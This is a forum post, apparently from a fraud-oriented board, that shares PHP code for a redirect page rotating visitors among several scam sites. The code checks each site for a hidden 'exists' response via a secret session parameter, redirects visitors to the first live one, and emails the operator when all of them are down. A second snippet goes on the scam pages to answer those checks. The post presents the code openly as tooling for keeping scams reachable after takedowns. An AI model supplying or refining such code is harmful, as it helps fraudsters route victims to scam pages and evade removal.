| |
|
![]() Join Date: Aug 2013
Posts: 567
![]() |
Create page for redirect and insert this code:
Code:
<?php
function scam_exists($strURL) {
$data = file_get_contents($strURL);
return $data;
}
$conf_word = "exists"; // confirmation word for checker to see if the scam is still alive
$url1 = "http://www.scam1.com/?session=31337"; // first scam url
$url2 = "http://www.scam2.com/?session=31337"; // second scam url
$url3 = "http://www.scam3.com/?session=31337"; // third scam url (actually you can add as much as you like, but don't forget to add equal number of "elseif"
if(scam_exists($url1) == $conf_word) {
$url1 = str_replace("?session=31337","", $url1); // str_replace("?session=31337","YOU_CAN_PUT_HERE_WHATEVER_YOU_NEED_TO", $url1);
header("Location: $url1");
}
elseif(scam_exists($url2) == $conf_word) {
$url2 = str_replace("?session=31337","", $url2);
header("Location: $url2");
}
elseif(scam_exists($url3) == $conf_word) {
$url3 = str_replace("?session=31337","", $url3);
header("Location: $url3");
}
else {
@mail('[email protected]','Scams report','All your scams are offline'); // or send mail to you if all scams are offline
header("Location: http://editme.com"); // any site where people should be redirected if all scams are offline
}
?>
Code:
<?php
$ses = "31337";
$session = $_GET['session'];
if($session == $ses) { echo "exists"; }
else {
?>
Code:
<?php } ?> |
|
|
|
![]() |
|
|